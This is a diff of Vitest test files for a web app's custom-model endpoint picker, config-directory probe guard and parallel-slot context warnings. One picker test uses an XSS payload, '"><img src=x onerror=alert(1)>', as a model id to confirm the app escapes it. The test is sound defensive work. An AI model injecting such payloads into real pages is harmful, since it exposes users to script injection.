@@ -20,10 +20,18 @@ import { describe, expect, it, vi } from 'vitest';
const CONSTANTS_JS = readFileSync(new URL('../src/web/public/constants.js', import.meta.url), 'utf-8');
const SESSION_UI_JS = readFileSync(new URL('../src/web/public/session-ui.js', import.meta.url), 'utf-8');
// Only for the [hidden] CSS guard below: the filter toggles the `hidden` property, and
// `.run-mode-option`'s own `display: flex` would silently defeat it without the
// `!important` re-assertion in styles.css.
const STYLES_CSS = readFileSync(new URL('../src/web/public/styles.css', import.meta.url), 'utf-8');
// Only for the real _showCenterStatus DOM tests below (`bootAppWithRealCenterStatus`) —
// every other test in this file stubs _showCenterStatus itself and has no need of it.
const PANELS_UI_JS = readFileSync(new URL('../src/web/public/panels-ui.js', import.meta.url), 'utf-8');
// The warning formats counts with the runtime's own locale (a German user reads 131.072), so the
// expectations ask the same runtime instead of hard-coding the en-US grouping.
const num = (n: number) => n.toLocaleString();
function resp(body: unknown, ok = true) {
return { ok, json: async () => body };
}
@@ -40,6 +48,8 @@ function bootApp(
cliAvailable?: (id: string) => boolean;
activeCase?: { location?: string } | null;
settingsEnabled?: boolean;
/** Live sessions for the "in use by a session" fallback, in `this.sessions` Map shape. */
sessions?: Array<Record<string, unknown>>;
} = {}
) {
const dom = new JSDOM(
@@ -55,6 +65,10 @@ function bootApp(
<div class="modal" id="customModelPickModal">
<h3 id="customModelPickTitle"></h3>
<p id="customModelPickHint"></p>
<input type="search" id="customModelPickSearch" aria-label="Search models"
oninput="app.filterCustomModelPick(this.value)">
<p id="customModelPickNoMatches" role="status" hidden>No models match</p>
<p id="customModelPickUnknown" role="status" hidden>Nothing is marked: this endpoint did not report which model it has loaded, and none of your running sessions uses one. Pick the model to launch.</p>
<div id="customModelPickList"></div>
</div>
<div class="modal" id="customModelSwapConfirmModal">
@@ -81,6 +95,10 @@ function bootApp(
app.cases = options.activeCase ? [{ name: 'testcase', ...options.activeCase }] : [{ name: 'testcase' }];
app.loadAppSettingsFromStorage = () => ({ customModelEndpointsEnabled: options.settingsEnabled ?? true });
app.isCliAvailable = options.cliAvailable ?? (() => true);
// The real app keeps live sessions in a Map keyed by id (app.js), which is what
// _getCustomModelInUseBySession walks; empty by default so a test that says nothing
// about sessions sees no promotion, exactly like a box with none running.
app.sessions = new Map((options.sessions || []).map((s, i) => [String(i), s]));
app.showToast = () => {};
// Real implementation lives in panels-ui.js, not evaluated into this harness (only
// constants.js + session-ui.js are — see below) — a no-op default handle matching its
@@ -315,6 +333,27 @@ describe('Custom Model Endpoint Profiles: the "which model" picker', () => {
expect(buttons[0].textContent).not.toContain('Currently loaded');
});
it('treats a remembered "last used" id the host no longer lists as nothing promoted: no tag, the line shows', async () => {
const { win, app } = bootApp({
hosts: [{ id: 'llama-box', label: 'llama.cpp', baseUrl: 'http://x', models: ['qwen3', 'llama3'] }],
});
const origApiJson = app._apiJson;
app._apiJson = async (path: string) => {
if (path === '/api/model-endpoints/llama-box/running-status') return { isLlamaSwap: false, running: [] };
return origApiJson(path);
};
// The remembered model was deleted from this endpoint since the last launch.
win.localStorage.setItem('codeman:customModelLastUsed:claude:llama-box', 'gone-model');
await app.selectCustomModelEntry('claude', 'llama-box');
const list = win.document.getElementById('customModelPickList')!;
expect(list.textContent).not.toContain('Last used');
// Without a promoted row the probe really did answer "nothing is known", so the
// explanation line must show rather than leave two unmarked rows unexplained.
expect(win.document.getElementById('customModelPickUnknown')!.hidden).toBe(false);
});
it('prefers the currently-loaded model over a stale "last used" entry when both are present', async () => {
const { win, app } = bootApp({
hosts: [{ id: 'llama-box', label: 'llama.cpp', baseUrl: 'http://x', models: ['qwen3', 'llama3', 'phi4'] }],
@@ -532,9 +571,349 @@ describe('Custom Model Endpoint Profiles: the "which model" picker', () => {
await app.selectCustomModelEntry('claude', 'llama-box');
expect(toastMessage).toMatch(/no models discovered/i);
});
it('resets and focuses the search box every time the picker opens', async () => {
const { win, app } = bootApp({
hosts: [{ id: 'llama-box', label: 'llama.cpp', baseUrl: 'http://x', models: ['qwen3', 'llama3'] }],
});
win.app = app;
await app.selectCustomModelEntry('claude', 'llama-box');
const search = win.document.getElementById('customModelPickSearch') as HTMLInputElement;
// The caret lands in the box, so the first keystroke filters with no click.
expect(win.document.activeElement).toBe(search);
// A stale query from a previous open must not survive into the next one.
search.value = 'zzz';
search.dispatchEvent(new win.Event('input'));
app.closeCustomModelPickModal();
await app.selectCustomModelEntry('claude', 'llama-box');
expect(search.value).toBe('');
expect(win.document.activeElement).toBe(search);
expect(win.document.getElementById('customModelPickNoMatches')!.hasAttribute('hidden')).toBe(true);
const visible = [...win.document.getElementById('customModelPickList')!.querySelectorAll('button')].filter(
(b) => !b.hasAttribute('hidden')
);
expect(visible).toHaveLength(2);
});
it('leaves the search box unfocused on touch devices so the OS keyboard stays off the list', async () => {
const { win, app } = bootApp({
hosts: [{ id: 'llama-box', label: 'llama.cpp', baseUrl: 'http://x', models: ['qwen3', 'llama3'] }],
});
win.app = app;
// The guard reads the global the browser defines (mobile-detection.js).
(win as unknown as { MobileDetection: { isTouchDevice: () => boolean } }).MobileDetection = {
isTouchDevice: () => true,
};
await app.selectCustomModelEntry('claude', 'llama-box');
const search = win.document.getElementById('customModelPickSearch') as HTMLInputElement;
expect(win.document.activeElement).not.toBe(search);
// Only the focus is skipped: the rows still render, unfiltered and functional.
const visible = [...win.document.getElementById('customModelPickList')!.querySelectorAll('button')].filter(
(b) => !b.hasAttribute('hidden')
);
expect(visible).toHaveLength(2);
});
it('filters rows case-insensitively on the model id, keeping the surviving row fully functional', async () => {
const { win, app } = bootApp({
hosts: [
{
id: 'llama-box',
label: 'llama.cpp',
baseUrl: 'http://x',
models: ['qwen3', 'llama3'],
defaultModelId: 'qwen3',
},
],
});
let launched: unknown[] | null = null;
app.runCustomModelEntry = async (...args: unknown[]) => {
launched = args;
};
win.app = app;
await app.selectCustomModelEntry('claude', 'llama-box');
const search = win.document.getElementById('customModelPickSearch') as HTMLInputElement;
search.value = 'QWEN';
search.dispatchEvent(new win.Event('input'));
const buttons = [...win.document.getElementById('customModelPickList')!.querySelectorAll('button')];
expect(buttons.filter((b) => b.hasAttribute('hidden')).map((b) => b.textContent!.trim())).toEqual(['llama3']);
const [visible] = buttons.filter((b) => !b.hasAttribute('hidden'));
// The surviving row keeps its Default badge and its real, callable click handler.
expect(visible.textContent).toContain('qwen3');
expect(visible.textContent).toContain('Default');
(visible as unknown as HTMLButtonElement & { onclick: (e: unknown) => void }).onclick(
new (win as any).Event('click')
);
expect(launched).toEqual(['claude', 'llama-box', 'qwen3']);
});
it('shows the no-matches line only while a query matches nothing, and clears it with the query', async () => {
const { win, app } = bootApp({
hosts: [{ id: 'llama-box', label: 'llama.cpp', baseUrl: 'http://x', models: ['qwen3', 'llama3'] }],
});
win.app = app;
await app.selectCustomModelEntry('claude', 'llama-box');
const search = win.document.getElementById('customModelPickSearch') as HTMLInputElement;
const noMatches = win.document.getElementById('customModelPickNoMatches')!;
const isHidden = () =>
win.document.getElementById('customModelPickList')!.querySelectorAll('button[hidden]').length;
// Whitespace is not a query: everything stays visible, no message.
search.value = ' ';
search.dispatchEvent(new win.Event('input'));
expect(noMatches.hasAttribute('hidden')).toBe(true);
expect(isHidden()).toBe(0);
search.value = 'ghost';
search.dispatchEvent(new win.Event('input'));
expect(noMatches.hasAttribute('hidden')).toBe(false);
expect(isHidden()).toBe(2);
search.value = '';
search.dispatchEvent(new win.Event('input'));
expect(noMatches.hasAttribute('hidden')).toBe(true);
expect(isHidden()).toBe(0);
});
it('keeps an HTML-significant model id inert in the picker rows too, and filterable by its raw text', async () => {
// Same vector as the Run-menu row above, now via data-model-id: escapeHtml covers
// the double quote, and the filter reads the decoded raw id back off dataset.
const dangerousModel = '"><img src=x onerror=alert(1)>';
const { win, app } = bootApp({
hosts: [{ id: 'llama-box', label: 'llama.cpp', baseUrl: 'http://x', models: ['qwen3', dangerousModel] }],
});
win.app = app;
await app.selectCustomModelEntry('claude', 'llama-box');
const list = win.document.getElementById('customModelPickList')!;
expect(list.querySelector('img')).toBeNull();
const search = win.document.getElementById('customModelPickSearch') as HTMLInputElement;
search.value = 'src=x';
search.dispatchEvent(new win.Event('input'));
const visible = list.querySelectorAll('button:not([hidden])');
expect(visible).toHaveLength(1);
expect(visible[0].getAttribute('data-model-id')).toBe(dangerousModel);
});
it('re-asserts display:none !important for hidden picker rows so the filter cannot be silently defeated', () => {
// `.run-mode-option` carries its own `display: flex` (styles.css, restated in
// mobile.css), which outranks the UA `[hidden]` rule: without this scoped
// !important re-assertion, toggling `hidden` would change nothing on screen.
const rule = STYLES_CSS.match(/#customModelPickModal \.run-mode-option\[hidden\]\s*\{[^}]*\}/);
expect(rule, 'picker rows need a [hidden] rule scoped to #customModelPickModal').toBeTruthy();
expect(rule![0]).toMatch(/display:\s*none\s*!important/);
});
it('pins "No models match" hidden with an empty query and shown only when a query hides every row, in CSS too', async () => {
// The visible symptom: the line carries `.form-hint`, whose `display: block`
// outranks the UA `[hidden]` rule, so `hidden` alone showed "No models match"
// while every model was listed with an empty search box. The attribute half
// was always right (session-ui.js's `filterCustomModelPick`); the CSS half
// needed the same `[hidden] { display: none !important }` re-assertion the
// rows above carry. This test pins both states AND the CSS that makes them
// actually render.
const rule = STYLES_CSS.match(/#customModelPickModal \.custom-model-pick-no-matches\[hidden\]\s*\{[^}]*\}/);
expect(rule, 'the no-matches line needs a [hidden] rule scoped to #customModelPickModal').toBeTruthy();
expect(rule![0]).toMatch(/display:\s*none\s*!important/);
const { win, app } = bootApp({
hosts: [{ id: 'llama-box', label: 'llama.cpp', baseUrl: 'http://x', models: ['qwen3', 'llama3'] }],
});
win.app = app;
await app.selectCustomModelEntry('claude', 'llama-box');
const noMatches = win.document.getElementById('customModelPickNoMatches')!;
// Empty query, models listed: the attribute must be set, and the CSS rule
// above is what makes that attribute actually hide the line.
expect(noMatches.hasAttribute('hidden')).toBe(true);
// A non-empty query that hides every row: shown again.
const search = win.document.getElementById('customModelPickSearch') as HTMLInputElement;
search.value = 'ghost';
search.dispatchEvent(new win.Event('input'));
expect(noMatches.hasAttribute('hidden')).toBe(false);
});
});
describe('Custom Model Endpoint Profiles: _getCustomModelCurrentlyLoaded is client-side bounded', () => {
/**
* The reported bug: a gateway such as Bifrost (40 models, alphabetical, no llama-swap
* `/running` route of its own) showed "Choose a model" with nothing marked, so the user
* could not tell which model the endpoint was actually serving, while the same endpoint
* reached from the Codex CLI appeared to "default to alpha order" for every other CLI.
* The endpoint genuinely cannot answer, so the app falls back to what it does know: a
* live session it has itself pointed at that endpoint. And it says so plainly when it
* knows neither.
*/
describe('Custom Model Endpoint Profiles: gateways without /running fall back to a live session', () => {
const GATEWAY = {
id: 'bifrost',
label: 'bifrost',
baseUrl: 'https://bifrost.example',
models: ['llama-swap/alpha-3b', 'llama-swap/qwen3.8-flash-next-unsloth-ud-iq4_xs', 'llama-swap/zeta-70b'],
};
/** The gateway's exact shape: reachable, OpenAI-compatible, and not llama-swap. */
function gatewayApp(sessions: Array<Record<string, unknown>>) {
const booted = bootApp({ hosts: [GATEWAY], sessions });
const origApiJson = booted.app._apiJson;
booted.app._apiJson = async (path: string) => {
if (path === '/api/model-endpoints/bifrost/running-status') return { isLlamaSwap: false, running: [] };
return origApiJson(path);
};
return booted;
}
const live = (modelId: string, overrides: Record<string, unknown> = {}) => ({
name: 'w9-Gateway',
status: 'busy',
pid: 4242,
createdAt: 1_700_000_000_000,
customModel: { endpointId: 'bifrost', modelId, label: 'bifrost' },
...overrides,
});
it('marks the model a live session is running, at the top, for EVERY CLI, not just claude', async () => {
const inUse = 'llama-swap/qwen3.8-flash-next-unsloth-ud-iq4_xs';
for (const mode of ['opencode', 'deepseek', 'codex', 'claude']) {
const { win, app } = gatewayApp([live(inUse)]);
await app._openCustomModelPickModal(mode, GATEWAY);
const buttons = [...win.document.getElementById('customModelPickList')!.querySelectorAll('button')];
expect(buttons).toHaveLength(3);
expect(buttons[0].textContent, mode).toContain(inUse);
expect(buttons[0].textContent, mode).toContain('In use by a session');
// The other rows keep discovery order and carry no tag of their own.
expect(buttons[1].textContent).toContain('llama-swap/alpha-3b');
expect(buttons[2].querySelectorAll('.set-scope')).toHaveLength(0);
// Nothing was fabricated about the endpoint itself.
expect(win.document.getElementById('customModelPickList')!.textContent).not.toContain('Currently loaded');
expect(win.document.getElementById('customModelPickUnknown')!.hasAttribute('hidden')).toBe(true);
}
});
it('a live session outranks this device’s "last used" memory, and both rank above nothing', async () => {
const { win, app } = gatewayApp([live('llama-swap/zeta-70b')]);
win.localStorage.setItem('codeman:customModelLastUsed:opencode:bifrost', 'llama-swap/alpha-3b');
await app._openCustomModelPickModal('opencode', GATEWAY);
const buttons = [...win.document.getElementById('customModelPickList')!.querySelectorAll('button')];
expect(buttons[0].textContent).toContain('llama-swap/zeta-70b');
expect(buttons[0].textContent).toContain('In use by a session');
expect(buttons[0].textContent).not.toContain('Last used');
// The remembered pick is still listed, just not promoted or double-tagged.
expect(buttons[1].textContent).toContain('llama-swap/alpha-3b');
expect(buttons[1].querySelectorAll('.set-scope')).toHaveLength(0);
});
it('a stopped session, an exited process, an exited pane, another endpoint or an undiscovered model mark nothing', async () => {
const inUse = 'llama-swap/qwen3.8-flash-next-unsloth-ud-iq4_xs';
const cases: Array<[string, Record<string, unknown>]> = [
['stopped', { status: 'stopped' }],
['process exited (pid null)', { pid: null }],
['pane exited', { paneExit: { at: 1, status: 0 } }],
['other endpoint', { customModel: { endpointId: 'other', modelId: inUse } }],
['no custom model', { customModel: undefined }],
['undiscovered model', { customModel: { endpointId: 'bifrost', modelId: 'llama-swap/retired-model' } }],
];
for (const [label, overrides] of cases) {
const { win, app } = gatewayApp([live(inUse, overrides)]);
await app._openCustomModelPickModal('opencode', GATEWAY);
const list = win.document.getElementById('customModelPickList')!;
expect(list.textContent, label).not.toContain('In use by a session');
expect(list.textContent, label).not.toContain('Last used');
// Discovery order untouched: nothing got dragged to the top.
expect(list.querySelectorAll('button')![0].textContent).toContain('llama-swap/alpha-3b');
}
});
it('the most recently launched live session wins when two share an endpoint', async () => {
const { win, app } = gatewayApp([
live('llama-swap/alpha-3b', { createdAt: 1 }),
live('llama-swap/zeta-70b', { createdAt: 2 }),
]);
await app._openCustomModelPickModal('opencode', GATEWAY);
const buttons = [...win.document.getElementById('customModelPickList')!.querySelectorAll('button')];
expect(buttons[0].textContent).toContain('llama-swap/zeta-70b');
expect(buttons.filter((b) => b.textContent!.includes('In use by a session'))).toHaveLength(1);
});
it('says so plainly when nothing is known (a down endpoint answers the very same shape)', async () => {
const { win, app } = gatewayApp([]);
await app._openCustomModelPickModal('opencode', GATEWAY);
const unknown = win.document.getElementById('customModelPickUnknown')!;
expect(unknown.hasAttribute('hidden')).toBe(false);
expect(unknown.textContent).toContain('did not report which model it has loaded');
// What REALLY arrives here, not a fiction: `getLlamaSwapStatus` (custom-model-routes.ts)
// turns EVERY upstream failure into `isLlamaSwap: false` (a gateway with no
// `/running` route, a closed port, an unresolvable host, a 401), so this stub is
// also exactly what a DOWN endpoint produces, which is why the line's wording says
// only "did not report" and never why.
// The same class-of-bug trap as the no-matches line: `.form-hint`'s `display: block`
// outranks the UA `[hidden]` rule, so the attribute needs the CSS re-assertion.
const rule = STYLES_CSS.match(/#customModelPickModal \.custom-model-pick-unknown\[hidden\]\s*\{[^}]*\}/);
expect(rule, 'the unknown-endpoint line needs a [hidden] rule scoped to #customModelPickModal').toBeTruthy();
expect(rule![0]).toMatch(/display:\s*none\s*!important/);
});
it('hides that line whenever a row IS marked, and for a probe that never got any answer', async () => {
// Marked by a live session: nothing to explain.
const marked = gatewayApp([live('llama-swap/alpha-3b')]);
await marked.app._openCustomModelPickModal('opencode', GATEWAY);
expect(marked.win.document.getElementById('customModelPickUnknown')!.hasAttribute('hidden')).toBe(true);
// `null` (no answer at all) only happens when Codeman's OWN request to the route
// failed or the client-side bound won the race. The route itself never answers this
// way for an unreachable endpoint: every fetch failure arrives as `isLlamaSwap:
// false`, pinned by the test above. The box may merely be asleep, so stay silent.
const asleep = bootApp({ hosts: [GATEWAY] });
asleep.app._apiJson = async (path: string) => (path.includes('running-status') ? null : []);
await asleep.app._openCustomModelPickModal('opencode', GATEWAY);
expect(asleep.win.document.getElementById('customModelPickUnknown')!.hasAttribute('hidden')).toBe(true);
});
it('llama-swap’s own answer still wins over a session pin, and keeps its own tag', async () => {
const booted = bootApp({
hosts: [GATEWAY],
sessions: [live('llama-swap/alpha-3b')],
});
const origApiJson = booted.app._apiJson;
booted.app._apiJson = async (path: string) => {
if (path === '/api/model-endpoints/bifrost/running-status') {
return { isLlamaSwap: true, running: [{ model: 'llama-swap/zeta-70b', state: 'ready' }] };
}
return origApiJson(path);
};
await booted.app._openCustomModelPickModal('opencode', GATEWAY);
const buttons = [...booted.win.document.getElementById('customModelPickList')!.querySelectorAll('button')];
expect(buttons[0].textContent).toContain('llama-swap/zeta-70b');
expect(buttons[0].textContent).toContain('Currently loaded');
expect(buttons[0].textContent).not.toContain('In use by a session');
// The session's model is an ordinary row again: one promotion, not two.
expect(buttons.filter((b) => b.querySelector('.set-scope'))).toHaveLength(1);
});
it('never trusts displayModel: a session whose terminal merely printed a model marks nothing', async () => {
const booted = gatewayApp([
{ name: 'w9-Other', status: 'busy', createdAt: 1, displayModel: { model: 'llama-swap/zeta-70b', source: 'screen' } },
]);
await booted.app._openCustomModelPickModal('opencode', GATEWAY);
expect(booted.win.document.getElementById('customModelPickList')!.textContent).not.toContain('In use by a session');
});
});
describe('Custom Model Endpoint Profiles: _getCustomModelRunningStatus is client-side bounded', () => {
// `timeoutMs` driven in milliseconds rather than the real 800 — same reasoning as
// `_watchLlamaSwapLoading`'s own `pollIntervalMs` a few describe blocks down: this
// code runs inside the JSDOM window's own realm, whose setTimeout vi.useFakeTimers()
@@ -549,26 +928,31 @@ describe('Custom Model Endpoint Profiles: _getCustomModelCurrentlyLoaded is clie
// endpoint that is asleep or firewalled, distinct from one that answers an error.
app._apiJson = () => new Promise(() => {});
const result = await app._getCustomModelCurrentlyLoaded({ id: 'llama-box', models: ['qwen3'] }, 5);
const status = await app._getCustomModelRunningStatus({ id: 'llama-box', models: ['qwen3'] }, 5);
expect(result).toBeNull();
// `null` means "no answer at all" (Codeman's own request failed or the client-side
// bound won): the picker keeps its "Nothing is marked" line hidden for exactly this
// case (pinned in the gateway describe above). An endpoint that is merely down is
// NOT here: the route turns every fetch failure into `isLlamaSwap: false`.
expect(status).toBeNull();
expect(app._pickReadyRunningModel(status, { id: 'llama-box', models: ['qwen3'] })).toBeNull();
});
it('an endpoint that answers well within the bound is unaffected by it', async () => {
const { app } = bootApp({});
app._apiJson = async () => ({ isLlamaSwap: true, running: [{ model: 'qwen3', state: 'ready' }] });
const result = await app._getCustomModelCurrentlyLoaded({ id: 'llama-box', models: ['qwen3'] }, 5);
const status = await app._getCustomModelRunningStatus({ id: 'llama-box', models: ['qwen3'] }, 5);
expect(result).toBe('qwen3');
expect(app._pickReadyRunningModel(status, { id: 'llama-box', models: ['qwen3'] })).toBe('qwen3');
});
it('a rejected probe settles quietly to null rather than leaving an unhandled rejection once the timeout has already won the race', async () => {
const { app } = bootApp({});
app._apiJson = () => new Promise((_resolve, reject) => setTimeout(() => reject(new Error('boom')), 10));
const result = await app._getCustomModelCurrentlyLoaded({ id: 'llama-box', models: ['qwen3'] }, 2);
expect(result).toBeNull();
const status = await app._getCustomModelRunningStatus({ id: 'llama-box', models: ['qwen3'] }, 2);
expect(status).toBeNull();
// Give the loser of the race a turn to actually reject and hit its own .catch —
// an unswallowed rejection here would surface as an "Unhandled Errors" failure
// for the whole test file, not a failed assertion in this test.
@@ -1281,7 +1665,7 @@ describe("Custom Model Endpoint Profiles: requiresContextWarning (this CLI's own
await app.runCustomModelEntry('claude', 'llama-box', 'qwen3');
expect(confirmArgs).toEqual(['qwen3', 16384, 40000]);
expect(confirmArgs).toEqual(['qwen3', 16384, 40000, undefined]);
expect(applyBodies).toEqual([
{ endpointId: 'llama-box', modelId: 'qwen3' },
{ endpointId: 'llama-box', modelId: 'qwen3', confirmedContext: true },
@@ -1289,6 +1673,29 @@ describe("Custom Model Endpoint Profiles: requiresContextWarning (this CLI's own
expect(win.localStorage.getItem('codeman:customModelLastUsed:claude:llama-box')).toBe('qwen3');
});
it('forwards the slot count from the apply response into the modal', async () => {
const { app, applyBodies } = launchHarness([
{
requiresContextWarning: true,
modelId: 'qwen3',
contextLength: 131072,
minSafeContextTokens: 40000,
slotCount: 4,
},
{ customModel: { endpointId: 'llama-box' }, restarted: true, modelSwapInProgress: false },
]);
let confirmArgs: unknown[] | undefined;
app._confirmContextWarning = async (...args: unknown[]) => {
confirmArgs = args;
return true;
};
await app.runCustomModelEntry('claude', 'llama-box', 'qwen3');
expect(confirmArgs).toEqual(['qwen3', 131072, 40000, 4]);
expect(applyBodies).toHaveLength(2);
});
it('declining the in-app context-warning modal keeps the native backend, never re-sends the apply, and must NEVER record this model as "last used" — it cannot work with this CLI at all', async () => {
const { win, app, applyBodies } = launchHarness([
{ requiresContextWarning: true, modelId: 'qwen3', contextLength: 16384, minSafeContextTokens: 40000 },
@@ -1361,6 +1768,51 @@ describe('Custom Model Endpoint Profiles: _confirmContextWarning (in-app modal,
expect(win.document.getElementById('customModelContextWarningModal')!.classList.contains('active')).toBe(false);
});
it('explains shared parallel slots, and the --parallel 1 fix, when the context is enough only as a whole', async () => {
const { win, app } = bootApp({});
void app._confirmContextWarning('qwen3.8-27b-ud-q4_k_xl', 131072, 40000, 4);
const message = win.document.getElementById('customModelContextWarningMessage')!.textContent!;
expect(message).toContain('qwen3.8-27b-ud-q4_k_xl');
expect(message).toContain('4 parallel');
expect(message).toContain(num(131072));
expect(message).toContain(num(32768)); // per slot
expect(message).toContain('--parallel 1');
expect(message).toContain('Context size has been exceeded');
// this is not the "first message fails outright" case, so it must not claim that
expect(message).not.toMatch(/first message will fail/i);
expect(win.document.getElementById('customModelContextWarningModal')!.classList.contains('active')).toBe(true);
app._resolveContextWarningConfirm(false);
});
it('says the context is split across the slots, about N each, from the discovered context alone', async () => {
const { win, app } = bootApp({});
void app._confirmContextWarning('qwen3', 65536, 40000, 4);
const message = win.document.getElementById('customModelContextWarningMessage')!.textContent!;
expect(message).toContain(
`${num(65536)} tokens of context are split across 4 parallel server slots, about ${num(16384)} each`
);
app._resolveContextWarningConfirm(false);
});
it('keeps the too-small-context message for a small model and adds the slot advice when slots are known', async () => {
const { win, app } = bootApp({});
void app._confirmContextWarning('qwen3', 16384, 40000, 4);
const message = win.document.getElementById('customModelContextWarningMessage')!.textContent!;
expect(message).toContain(num(16384));
expect(message).toMatch(/first message will fail/i);
expect(message).toContain('4 parallel slots');
expect(message).toContain('--parallel 1');
app._resolveContextWarningConfirm(false);
});
it('does not mention slots when there is one (or none known)', async () => {
const { win, app } = bootApp({});
void app._confirmContextWarning('qwen3', 16384, 40000, 1);
const message = win.document.getElementById('customModelContextWarningMessage')!.textContent!;
expect(message).not.toMatch(/parallel/i);
app._resolveContextWarningConfirm(false);
});
it('describes an unknown context length without printing a bogus number', async () => {
const { win, app } = bootApp({});
void app._confirmContextWarning('qwen3', undefined, 40000);
@@ -0,0 +1,100 @@
/**
* @fileoverview `guardSessionConfigDirHome` probes a session-supplied configDir home before
* the apply runs synchronous fs calls on it (the #516 rule): a home that does not answer is
* hidden from the apply, so it links from the server's own home instead and says so.
*
* The probe is mocked: a mount that never answers is the case under test, and a real one
* cannot be made here.
*/
import { afterEach, describe, expect, it, vi } from 'vitest';
vi.mock('../src/utils/bounded-path-probe.js', async (importOriginal) => {
const actual = await importOriginal<typeof import('../src/utils/bounded-path-probe.js')>();
return { ...actual, probePathKind: vi.fn() };
});
import { getCli } from '../src/config/cli-registry/registry.js';
import { getDataDir } from '../src/config/instance.js';
import { writeCustomModelHosts } from '../src/custom-model-hosts.js';
import { customModelConfigDir, removeConfigDir } from '../src/custom-model-injection-apply.js';
import { Session } from '../src/session.js';
import { probePathKind } from '../src/utils/bounded-path-probe.js';
import { guardSessionConfigDirHome } from '../src/web/routes/session-routes.js';
import { WebServer } from '../src/web/server.js';
import type { CustomModelBookkeeping } from '../src/types/session.js';
const probe = vi.mocked(probePathKind);
const deepseek = () => getCli('deepseek')!;
const env =
(values: Record<string, string>) =>
(name: string): string | undefined =>
values[name];
describe('guardSessionConfigDirHome', () => {
afterEach(() => {
probe.mockReset();
vi.restoreAllMocks();
});
it('hides only the home when it does not answer, and warns that the server home is used', async () => {
probe.mockResolvedValue('unknown');
const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
const lookup = await guardSessionConfigDirHome(deepseek(), env({ DSH_HOME: '/mnt/dead/dsh', OTHER: 'kept' }));
expect(lookup('DSH_HOME')).toBeUndefined();
expect(lookup('OTHER')).toBe('kept');
expect(probe).toHaveBeenCalledWith('/mnt/dead/dsh', { pastCap: true });
expect(warn).toHaveBeenCalledTimes(1);
expect(String(warn.mock.calls[0][0])).toContain('/mnt/dead/dsh');
});
it('passes a home that answers straight through', async () => {
probe.mockResolvedValue('directory');
const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
const base = env({ DSH_HOME: '/home/u/.dsh' });
expect(await guardSessionConfigDirHome(deepseek(), base)).toBe(base);
expect(warn).not.toHaveBeenCalled();
});
it("guards claude's own config dir too: the apply makes its projects folder", async () => {
probe.mockResolvedValue('unknown');
vi.spyOn(console, 'warn').mockImplementation(() => {});
const lookup = await guardSessionConfigDirHome(getCli('claude')!, env({ CLAUDE_CONFIG_DIR: '/mnt/dead/claude' }));
expect(lookup('CLAUDE_CONFIG_DIR')).toBeUndefined();
expect(probe).toHaveBeenCalledWith('/mnt/dead/claude', { pastCap: true });
});
it('boot recovery probes the own home under the stall cap: it is a bulk pass, not one request', async () => {
probe.mockResolvedValue('unknown');
vi.spyOn(console, 'warn').mockImplementation(() => {});
await writeCustomModelHosts(getDataDir(), [{ id: 'ep', label: 'Ep', baseUrl: 'http://box:8080' }]);
const session = new Session({ workingDir: '/tmp', mode: 'deepseek' });
const saved: CustomModelBookkeeping = { endpointId: 'ep', modelId: 'q', envKeys: [] };
const proto = WebServer.prototype as unknown as {
_rebuildCustomModelEnv: (session: Session, saved: CustomModelBookkeeping, ownEnv: object) => Promise<unknown>;
};
await proto._rebuildCustomModelEnv(session, saved, { DSH_HOME: '/mnt/dead/dsh' });
expect(probe).toHaveBeenCalledWith('/mnt/dead/dsh', {});
removeConfigDir(customModelConfigDir(session.id));
});
it('never probes a relative home: the apply refuses to join one', async () => {
const base = env({ DSH_HOME: 'relative/dsh' });
expect(await guardSessionConfigDirHome(deepseek(), base)).toBe(base);
expect(probe).not.toHaveBeenCalled();
});
it('never probes for a CLI with no linkFromRealHome recipe', async () => {
const base = env({ CODEX_HOME: '/mnt/dead/codex' });
expect(await guardSessionConfigDirHome(getCli('codex')!, base)).toBe(base);
expect(probe).not.toHaveBeenCalled();
});
});
+80
View File
@@ -0,0 +1,80 @@
/**
* @fileoverview Unit tests for the parallel-slot awareness of the custom-model context floor
* (`perSlotContext` / `exceedsSafeContextFloor`, src/web/routes/custom-model-routes.ts).
*
* llama-server splits its context across `--parallel` slots (by default they share one
* unified KV pool) and Claude Code sends concurrent requests, each carrying its own ~40k
* tokens of system prompt and tools. Measured against a real llama-swap server: with 4 slots
* sharing ~131k tokens, four simultaneous 40k-token requests all failed with HTTP 500
* "Context size has been exceeded"; the same requests against one slot all succeeded.
*
* Port: N/A (pure functions, no server).
*/
import { describe, it, expect } from 'vitest';
import {
CLAUDE_MIN_SAFE_CONTEXT_TOKENS,
exceedsSafeContextFloor,
perSlotContext,
} from '../src/web/routes/custom-model-routes.js';
import type { CliEntry } from '../src/config/cli-registry/types.js';
const withContextVar = {
capabilities: { customModelInjection: { kind: 'env', contextLengthVar: 'CLAUDE_CODE_MAX_CONTEXT_TOKENS' } },
} as unknown as Pick<CliEntry, 'capabilities'>;
const withoutContextVar = {
capabilities: { customModelInjection: { kind: 'env' } },
} as unknown as Pick<CliEntry, 'capabilities'>;
describe('perSlotContext', () => {
it('divides the context across the slots', () => {
expect(perSlotContext(131072, 4)).toBe(32768);
expect(perSlotContext(262144, 4)).toBe(65536);
});
it('rounds down, since a fraction of a token is not usable', () => {
expect(perSlotContext(100000, 3)).toBe(33333);
});
it.each([undefined, 0, 1, -2, Number.NaN, Number.POSITIVE_INFINITY])(
'leaves the context whole for an unusable or single slot count (%s)',
(slots) => {
expect(perSlotContext(65536, slots as number | undefined)).toBe(65536);
}
);
});
describe('exceedsSafeContextFloor with a slot count', () => {
it('divides only the context it is given, so a larger /props figure can never skip the warning', () => {
// a --fit-ctx floor of 65,536 over 4 slots is 16,384 each, whatever /props might say about the server
expect(exceedsSafeContextFloor(withContextVar, 65536, 4)).toBe(true);
expect(exceedsSafeContextFloor(withContextVar, 65536, 1)).toBe(false);
// the measured failure: ~131k over 4 slots is ~33k each
expect(exceedsSafeContextFloor(withContextVar, 131072, 4)).toBe(true);
expect(exceedsSafeContextFloor(withContextVar, 262144, 4)).toBe(false);
});
it('still warns when the context itself is below the minimum', () => {
expect(exceedsSafeContextFloor(withContextVar, 16384, 4)).toBe(true);
expect(exceedsSafeContextFloor(withContextVar, 16384, 1)).toBe(true);
});
it('keeps its existing behaviour when no slot count is given', () => {
expect(exceedsSafeContextFloor(withContextVar, 16384)).toBe(true);
expect(exceedsSafeContextFloor(withContextVar, CLAUDE_MIN_SAFE_CONTEXT_TOKENS)).toBe(false);
expect(exceedsSafeContextFloor(withContextVar, undefined)).toBe(false);
});
it('flags a context that only clears the floor as a whole, not per slot', () => {
